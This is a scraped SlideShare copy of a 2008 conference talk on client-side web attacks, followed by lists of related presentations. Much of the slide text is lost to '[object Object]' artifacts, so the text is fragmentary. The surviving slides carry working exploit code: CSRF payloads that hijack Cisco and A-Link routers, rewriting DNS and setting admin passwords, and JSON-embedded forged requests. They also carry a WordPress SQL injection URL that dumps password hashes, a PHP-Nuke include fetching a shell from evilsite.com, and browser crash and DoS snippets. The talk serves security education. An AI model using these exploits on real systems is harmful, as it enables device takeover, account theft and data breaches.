SlideShare une entreprise Scribd logo
1  sur  40
Club-Hack 2008 Aditya K Sood Founder , Sec-Niche Security Hacking Client Side Insecurities
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],$whoami
Hacking Client Side Insecurities Web 2.0 Application Model
Hacking Client Side Insecurities [1] Discovering Clients on Internet / Intranet.  Web Application Discovery Protocol  Fingerprinting Embedded Devices.  Rogue Request for HTTP Server Fingerprinting.  JavaScript Based Client Information Retrieval [2] Client Side Attack Patterns.  Pluggable Protocol Handlers.   JavaScript Jacking    JSON Injections [CSRF]  HTTP Verb Jacking   HTTP Verb Tampering.  Insecure Parametric Design of Cookies    Baking with XSS.  War XHR and IFRAME Exploiting Patterns.  Cross Site Request Forging (Embedded Devices)    The High Risk.  Surf Jacking    Jacking HTTPS in Traffic Pool. [3] Web Virtual Environment [RDP/ CITRIX]. [4] Questions and Answers. $ AGENDA
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Client Side ! Why?
Hacking Client Side Insecurities Discovery
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting ! Why?
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting !
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting !
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],Fingerprinting !
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting !
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting ! Potentially a Net Scalar Device
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting ! The Content Parameter is transformed into XONTENT.  This is Generally Shown by Potential RADWARE Devices  RADWARE Device
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting ! Lets dissect the Pattern of this Number. Convert it into Decimal to see what is there. The Internal IP Dissected is    192.168.1.10 This Layout is specific to Working Devices
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting !
Hacking Client Side Insecurities ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Fingerprinting ! < script language=&quot;javascript&quot;> function browserInfo(form) { var txtInfo; txtInfo = &quot;Platform : &quot; + window.navigator.platform + &quot;&quot; + &quot;OSCPU : &quot; + window.navigator.oscpus + &quot;&quot; + &quot;UserAgent : &quot; + window.navigator.userAgent + &quot;&quot; + &quot;Language : &quot; + window.navigator.language + &quot;&quot; + &quot;AppName : &quot; + window.navigator.appName + &quot;&quot; + &quot;AppVersion : &quot; + window.navigator.appVersion + &quot;&quot; + &quot;Product : &quot; + window.navigator.product + &quot;&quot; + &quot;CodeName : &quot; + window.navigator.productSub + &quot;&quot; + &quot;Vendor : &quot; + window.navigator.vendor + &quot;&quot; + &quot;VendorSub : &quot; + window.navigator.vendorSub + &quot;&quot; + &quot;CodeName : &quot; + window.navigator.appCodeName + &quot;&quot; + &quot;History : &quot; + window.history.length + &quot;&quot; + &quot;ScreenW : &quot; + window.screen.width + &quot;&quot; + &quot;ScrrenH : &quot; + window.screen.height; form.txtOutput.value=txtInfo; return; } </script>
Hacking Client Side Insecurities Demonstrations!
Hacking Client Side Insecurities Web Chemistry! Wow!
Hacking Client Side Insecurities Client Side Exploiting Patterns
Hacking Client Side Insecurities Client Side Exploiting Patterns ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Hacking Client Side Insecurities Pluggable Protocol Handlers ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Hacking Client Side Insecurities Java Script Jacking ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Website Requires JavaScript Support. This anatomy works in both positive and negative manner
Hacking Client Side Insecurities Java Script Jacking
Hacking Client Side Insecurities Java Script Jacking – JSON Injections JSON Injections    The Serialization Insecurity | Web 2.0 Direct Injections with Encoding. Everything is treated as String. Apply toJSONObject(). CSRF    A different way to Fuse attack with Notation Objects. { &quot;menu&quot;: {   &quot;id&quot;: &quot;<img src=&quot;https://books.example.com/clickbuy?book=ISBNhere&quantity=100&quot;>&quot;, &quot;value&quot;: &quot;<img src=&quot;https://trading.example.com/xfer?from=MSFT&to=RHAT&confirm=Y&quot;>&quot;, &quot;popup&quot;:  &quot;<scriptsrc=&quot;https://www.google.com/accounts/UpdateEmail?service=adsense &Email=mymail@newmail.net&Passwd=cool&save=&quot;></script>&quot;   } } } Cross Site Request Forgery Structured in JSON – Google Ad sense Layout.
Hacking Client Side Insecurities HTTP Verb Jacking ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Major Flaw    HTTP End Point Check does not Disseminate among HTTP Request. Only Parameter Check is Performed. All Verbs are Allowed. In 2006 , I have released a paper called Rogue XML Specifications which list the potential insecurities in web.xml file. http://packetstormsecurity.org/papers/general/RogueXMLSpecific.pdf
Hacking Client Side Insecurities HTTP Verb Jacking security-constraint>   <web-resource-collection>   <web-resource-name>drivers</web-resource-name>     <description>     Security constraint for drivers page     </description>   <url-pattern>/drivers.html</url-pattern>   <http-method>POST</http-method>   <http-method>GET</http-method>   </web-resource-collection>   <auth-constraint>   <description>   constraint for drivers   </description>   <role-name>manager</role-name>   </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> </login-config> <security-role> <role-name>manager</role-name> The snapshot of web.xml file for a certain target. The security constraint parameter defines the allowed request. The type of Authentication allowed.  HTTP Verb Jacking    Manager directories  will not be Accessed by GET/POST Request. What about HEAD Request.   J2EE ,JSP , ASP , ASP.NET,PHP etc are based on  configuration files to process the type of request to handle. [ GET/POST/HEAD etc]
Hacking Client Side Insecurities Insecure Parametric Cookies ,[object Object],[object Object],[object Object],[object Object],Cookie Security Parameter  Check ,[object Object],[object Object],[object Object],Cookie Security Parameters are :- Secure ( boolean)    Allowed over only HTTPS. HttpOnly ( boolean )    JavaScript document.cookie Fails.
Hacking Client Side Insecurities XHR and IFRAME ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],If your browser do not support Ajax XHR request and a page is loaded into browser then the most of the remote toolkits have a hidden iframe to provide fake XHR support to the page.
Hacking Client Side Insecurities XHR and IFRAME < script > var oRequest = new XMLHttpRequest(); var sURL  = &quot;http://www.snapdrive.net/files/571814/chrome.txt&quot;; alert('Downloading a txt file..please wait.'); oRequest.open(&quot;GET&quot;,sURL,false); oRequest.setRequestHeader(&quot;User-Agent&quot;,navigator.userAgent); oRequest.send(null); xmlDoc=oRequest.ResponseText; alert(xmlDoc); if (oRequest.status==200) { alert('Done...now try editing the Text-Box!'); var str=&quot; Winget 3.0 DoS Exploit PoC.Minimize Winget & Right-Click & Copy to clipboard.&quot;; document.write(str.link(&quot;http://&quot;+oRequest.responseText+&quot;.exe&quot;)); } else {alert('Error executing XMLHttpRequest call!');} Local Dos [Milw0rm] var iframe = document.createElement(&quot;IFRAME&quot;); iframe.setAttribute(&quot;src&quot;, 'ftp://localhost/anything'); iframe.setAttribute(&quot;name&quot;, 'myiframe'); iframe.setAttribute(&quot;id&quot;, 'myiframe'); iframe.setAttribute(&quot;onload&quot;, 'read_iframe(&quot;myiframe&quot;)'); iframe.style.width = &quot;100px&quot;; iframe.style.height = &quot;100px&quot;; document.body.appendChild(iframe);   Konqueror 3.5.5 Crash [Milw0rm] [Word Press SQL Injection through IFRAME]   wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--  [PHP Nuke IFRAME]   http://www.example.com/nuke_path/iframe.php?file=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm   http://www.milw0rm.com/exploits/6777 http://www.milw0rm.com/exploits/3512
Hacking Client Side Insecurities Embedded Devices - CSRF [1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm] < html> <body> <body onload=&quot;fdsa.submit();&quot;>  <form name=fdsa method=&quot;post&quot; action=&quot;http://10.10.10.1/level/15/exec/-/configure/http&quot;> <input type=hidden name=command value=&quot;alias exec xx xx&quot;>  <input type=hidden name=command_url value=&quot;/level/15/exec/-&quot;>  <input type=hidden name=new_command_url value=&quot;/level/15/configure/-&quot;> </body> </html>   [3] EXPLAY CMS CSRF Exploit <img src=&quot;http://explay.localhost/admin.php?name =users&page=1&order=user_id&set_admin=2&quot; />   [2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm] <html> <body onload=&quot;document.wan.submit();  document.password.submit()&quot;>  <form action=&quot;http://192.168.1.254/goform/formWanTcpipSetup&quot; method=&quot;post&quot; name=&quot;wan&quot;> <input type=&quot;hidden&quot; value=&quot;dnsManual&quot; name=&quot;dnsMode&quot; checked> <input type=&quot;hidden&quot; name=&quot;dns1&quot; value=&quot;216.239.32.10&quot;>  <input type=&quot;hidden&quot; name=&quot;dns2&quot; value=&quot;216.239.32.10&quot;>  <input type=&quot;hidden&quot; name=&quot;dns3&quot; value=&quot;216.239.32.10&quot;>  <input type=&quot;hidden&quot; name=&quot;webWanAccess&quot; value=&quot;ON&quot; checked=&quot;checked&quot;> </form>  <form action=&quot;http://192.168.1.254/goform/formPasswordSetup&quot; method=&quot;post&quot; name=&quot;password&quot;> <input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;mallory&quot;> <input type=&quot;hidden&quot; name=&quot;newpass&quot; value=&quot;gotroot&quot;>  <input type=&quot;hidden&quot; name=&quot;confpass&quot; value=&quot;gotroot&quot;> </form> </body> </html>
Hacking Client Side Insecurities SURF Jacking – HTTPS at Stake ,[object Object],[object Object],[object Object],[object Object],Side Jacking discovered by Errata Security. Surf Jacking discovered by Enable Security But Cookie Insecurity is known back time. Greets to break down into Attacks.
Hacking Client Side Insecurities Demonstrations!
Hacking Client Side Insecurities RDP / ICA – Command Execution ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Hacking Client Side Insecurities RDP / ICA  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Hacking Client Side Insecurities Attack Point - ICA  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Hacking Client Side Insecurities Attack Point - RDP ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Hacking Client Side Insecurities Demonstrations!
Hacking Client Side Insecurities Questions
Hacking Client Side Insecurities Thanks and Regards
Hacking Client Side Insecurities SecNiche Security http://www.secniche.org

Contenu connexe

Tendances

OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache OltuOAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache OltuAntonio Sanso
 
Stateless authentication for microservices - Spring I/O 2015
Stateless authentication for microservices  - Spring I/O 2015Stateless authentication for microservices  - Spring I/O 2015
Stateless authentication for microservices - Spring I/O 2015Alvaro Sanchez-Mariscal
 
WAF ASM / Advance WAF - Brute force lior rotkovitch f5 sirt v5 clean
WAF ASM / Advance WAF - Brute force   lior rotkovitch  f5 sirt v5 cleanWAF ASM / Advance WAF - Brute force   lior rotkovitch  f5 sirt v5 clean
WAF ASM / Advance WAF - Brute force lior rotkovitch f5 sirt v5 cleanLior Rotkovitch
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés RianchoCODE BLUE
 
アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -
アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -
アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -Naoki Nagazumi
 
OWASP San Diego Training Presentation
OWASP San Diego Training PresentationOWASP San Diego Training Presentation
OWASP San Diego Training Presentationowaspsd
 
2016 pycontw web api authentication
2016 pycontw web api authentication 2016 pycontw web api authentication
2016 pycontw web api authentication Micron Technology
 
Token Based Authentication Systems with AngularJS & NodeJS
Token Based Authentication Systems with AngularJS & NodeJSToken Based Authentication Systems with AngularJS & NodeJS
Token Based Authentication Systems with AngularJS & NodeJSHüseyin BABAL
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac DawsonCODE BLUE
 
Post XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and RemediesPost XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and RemediesAdwiteeya Agrawal
 
Json web token api authorization
Json web token api authorizationJson web token api authorization
Json web token api authorizationGiulio De Donato
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure CodingMateusz Olejarka
 
F5 ASM v12 DDoS best practices
F5 ASM v12 DDoS best practices F5 ASM v12 DDoS best practices
F5 ASM v12 DDoS best practices Lior Rotkovitch
 
REST Service Authetication with TLS & JWTs
REST Service Authetication with TLS & JWTsREST Service Authetication with TLS & JWTs
REST Service Authetication with TLS & JWTsJon Todd
 

Tendances (20)

OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache OltuOAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
 
Stateless authentication for microservices - Spring I/O 2015
Stateless authentication for microservices  - Spring I/O 2015Stateless authentication for microservices  - Spring I/O 2015
Stateless authentication for microservices - Spring I/O 2015
 
WAF ASM / Advance WAF - Brute force lior rotkovitch f5 sirt v5 clean
WAF ASM / Advance WAF - Brute force   lior rotkovitch  f5 sirt v5 cleanWAF ASM / Advance WAF - Brute force   lior rotkovitch  f5 sirt v5 clean
WAF ASM / Advance WAF - Brute force lior rotkovitch f5 sirt v5 clean
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
 
Attacking REST API
Attacking REST APIAttacking REST API
Attacking REST API
 
アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -
アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -
アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -
 
OWASP San Diego Training Presentation
OWASP San Diego Training PresentationOWASP San Diego Training Presentation
OWASP San Diego Training Presentation
 
2016 pycontw web api authentication
2016 pycontw web api authentication 2016 pycontw web api authentication
2016 pycontw web api authentication
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Token Based Authentication Systems with AngularJS & NodeJS
Token Based Authentication Systems with AngularJS & NodeJSToken Based Authentication Systems with AngularJS & NodeJS
Token Based Authentication Systems with AngularJS & NodeJS
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
 
Post XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and RemediesPost XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and Remedies
 
Json web token api authorization
Json web token api authorizationJson web token api authorization
Json web token api authorization
 
Romulus OWASP
Romulus OWASPRomulus OWASP
Romulus OWASP
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure Coding
 
F5 ASM v12 DDoS best practices
F5 ASM v12 DDoS best practices F5 ASM v12 DDoS best practices
F5 ASM v12 DDoS best practices
 
REST Service Authetication with TLS & JWTs
REST Service Authetication with TLS & JWTsREST Service Authetication with TLS & JWTs
REST Service Authetication with TLS & JWTs
 

Similaire à Hacking Client Side Insecurities

Xfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknockXfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknockownerkhan
 
Aditya - Hacking Client Side Insecurities - ClubHack2008
Aditya - Hacking Client Side Insecurities - ClubHack2008Aditya - Hacking Client Side Insecurities - ClubHack2008
Aditya - Hacking Client Side Insecurities - ClubHack2008ClubHack
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationBlueinfy Solutions
 
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Jeremiah Grossman
 
What should I do when my website got hack?
What should I do when my website got hack?What should I do when my website got hack?
What should I do when my website got hack?Sumedt Jitpukdebodin
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8guest441c58b71
 
Android Penetration Testing - Day 3
Android Penetration Testing - Day 3Android Penetration Testing - Day 3
Android Penetration Testing - Day 3Mohammed Adam
 
The WAF book intro protection elements v1.0 lior rotkovitch
The WAF book intro protection elements v1.0 lior rotkovitchThe WAF book intro protection elements v1.0 lior rotkovitch
The WAF book intro protection elements v1.0 lior rotkovitchLior Rotkovitch
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example Anna Klepacka
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfcyberhacker7
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityAbdul Wahid
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing BasicsRick Wanner
 

Similaire à Hacking Client Side Insecurities (20)

Xfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknockXfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknock
 
Aditya - Hacking Client Side Insecurities - ClubHack2008
Aditya - Hacking Client Side Insecurities - ClubHack2008Aditya - Hacking Client Side Insecurities - ClubHack2008
Aditya - Hacking Client Side Insecurities - ClubHack2008
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumeration
 
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
 
What should I do when my website got hack?
What should I do when my website got hack?What should I do when my website got hack?
What should I do when my website got hack?
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
Android Penetration Testing - Day 3
Android Penetration Testing - Day 3Android Penetration Testing - Day 3
Android Penetration Testing - Day 3
 
API SECURITY
API SECURITYAPI SECURITY
API SECURITY
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
The WAF book intro protection elements v1.0 lior rotkovitch
The WAF book intro protection elements v1.0 lior rotkovitchThe WAF book intro protection elements v1.0 lior rotkovitch
The WAF book intro protection elements v1.0 lior rotkovitch
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdf
 
2023-May.pptx
2023-May.pptx2023-May.pptx
2023-May.pptx
 
gofortution
gofortutiongofortution
gofortution
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 

Plus de amiable_indian

Phishing As Tragedy of the Commons
Phishing As Tragedy of the CommonsPhishing As Tragedy of the Commons
Phishing As Tragedy of the Commonsamiable_indian
 
Cisco IOS Attack & Defense - The State of the Art
Cisco IOS Attack & Defense - The State of the Art Cisco IOS Attack & Defense - The State of the Art
Cisco IOS Attack & Defense - The State of the Art amiable_indian
 
Secrets of Top Pentesters
Secrets of Top PentestersSecrets of Top Pentesters
Secrets of Top Pentestersamiable_indian
 
Workshop on Wireless Security
Workshop on Wireless SecurityWorkshop on Wireless Security
Workshop on Wireless Securityamiable_indian
 
Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...
Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...
Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...amiable_indian
 
Workshop on BackTrack live CD
Workshop on BackTrack live CDWorkshop on BackTrack live CD
Workshop on BackTrack live CDamiable_indian
 
Reverse Engineering for exploit writers
Reverse Engineering for exploit writersReverse Engineering for exploit writers
Reverse Engineering for exploit writersamiable_indian
 
State of Cyber Law in India
State of Cyber Law in IndiaState of Cyber Law in India
State of Cyber Law in Indiaamiable_indian
 
AntiSpam - Understanding the good, the bad and the ugly
AntiSpam - Understanding the good, the bad and the uglyAntiSpam - Understanding the good, the bad and the ugly
AntiSpam - Understanding the good, the bad and the uglyamiable_indian
 
Reverse Engineering v/s Secure Coding
Reverse Engineering v/s Secure CodingReverse Engineering v/s Secure Coding
Reverse Engineering v/s Secure Codingamiable_indian
 
Network Vulnerability Assessments: Lessons Learned
Network Vulnerability Assessments: Lessons LearnedNetwork Vulnerability Assessments: Lessons Learned
Network Vulnerability Assessments: Lessons Learnedamiable_indian
 
Economic offenses through Credit Card Frauds Dissected
Economic offenses through Credit Card Frauds DissectedEconomic offenses through Credit Card Frauds Dissected
Economic offenses through Credit Card Frauds Dissectedamiable_indian
 
Immune IT: Moving from Security to Immunity
Immune IT: Moving from Security to ImmunityImmune IT: Moving from Security to Immunity
Immune IT: Moving from Security to Immunityamiable_indian
 
Reverse Engineering for exploit writers
Reverse Engineering for exploit writersReverse Engineering for exploit writers
Reverse Engineering for exploit writersamiable_indian
 
Web Exploit Finder Presentation
Web Exploit Finder PresentationWeb Exploit Finder Presentation
Web Exploit Finder Presentationamiable_indian
 
Network Security Data Visualization
Network Security Data VisualizationNetwork Security Data Visualization
Network Security Data Visualizationamiable_indian
 
Enhancing Computer Security via End-to-End Communication Visualization
Enhancing Computer Security via End-to-End Communication Visualization Enhancing Computer Security via End-to-End Communication Visualization
Enhancing Computer Security via End-to-End Communication Visualization amiable_indian
 
Top Network Vulnerabilities Over Time
Top Network Vulnerabilities Over TimeTop Network Vulnerabilities Over Time
Top Network Vulnerabilities Over Timeamiable_indian
 
What are the Business Security Metrics?
What are the Business Security Metrics? What are the Business Security Metrics?
What are the Business Security Metrics? amiable_indian
 
No Substitute for Ongoing Data, Quantification, Visualization, and Story-Telling
No Substitute for Ongoing Data, Quantification, Visualization, and Story-TellingNo Substitute for Ongoing Data, Quantification, Visualization, and Story-Telling
No Substitute for Ongoing Data, Quantification, Visualization, and Story-Tellingamiable_indian
 

Plus de amiable_indian (20)

Phishing As Tragedy of the Commons
Phishing As Tragedy of the CommonsPhishing As Tragedy of the Commons
Phishing As Tragedy of the Commons
 
Cisco IOS Attack & Defense - The State of the Art
Cisco IOS Attack & Defense - The State of the Art Cisco IOS Attack & Defense - The State of the Art
Cisco IOS Attack & Defense - The State of the Art
 
Secrets of Top Pentesters
Secrets of Top PentestersSecrets of Top Pentesters
Secrets of Top Pentesters
 
Workshop on Wireless Security
Workshop on Wireless SecurityWorkshop on Wireless Security
Workshop on Wireless Security
 
Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...
Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...
Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...
 
Workshop on BackTrack live CD
Workshop on BackTrack live CDWorkshop on BackTrack live CD
Workshop on BackTrack live CD
 
Reverse Engineering for exploit writers
Reverse Engineering for exploit writersReverse Engineering for exploit writers
Reverse Engineering for exploit writers
 
State of Cyber Law in India
State of Cyber Law in IndiaState of Cyber Law in India
State of Cyber Law in India
 
AntiSpam - Understanding the good, the bad and the ugly
AntiSpam - Understanding the good, the bad and the uglyAntiSpam - Understanding the good, the bad and the ugly
AntiSpam - Understanding the good, the bad and the ugly
 
Reverse Engineering v/s Secure Coding
Reverse Engineering v/s Secure CodingReverse Engineering v/s Secure Coding
Reverse Engineering v/s Secure Coding
 
Network Vulnerability Assessments: Lessons Learned
Network Vulnerability Assessments: Lessons LearnedNetwork Vulnerability Assessments: Lessons Learned
Network Vulnerability Assessments: Lessons Learned
 
Economic offenses through Credit Card Frauds Dissected
Economic offenses through Credit Card Frauds DissectedEconomic offenses through Credit Card Frauds Dissected
Economic offenses through Credit Card Frauds Dissected
 
Immune IT: Moving from Security to Immunity
Immune IT: Moving from Security to ImmunityImmune IT: Moving from Security to Immunity
Immune IT: Moving from Security to Immunity
 
Reverse Engineering for exploit writers
Reverse Engineering for exploit writersReverse Engineering for exploit writers
Reverse Engineering for exploit writers
 
Web Exploit Finder Presentation
Web Exploit Finder PresentationWeb Exploit Finder Presentation
Web Exploit Finder Presentation
 
Network Security Data Visualization
Network Security Data VisualizationNetwork Security Data Visualization
Network Security Data Visualization
 
Enhancing Computer Security via End-to-End Communication Visualization
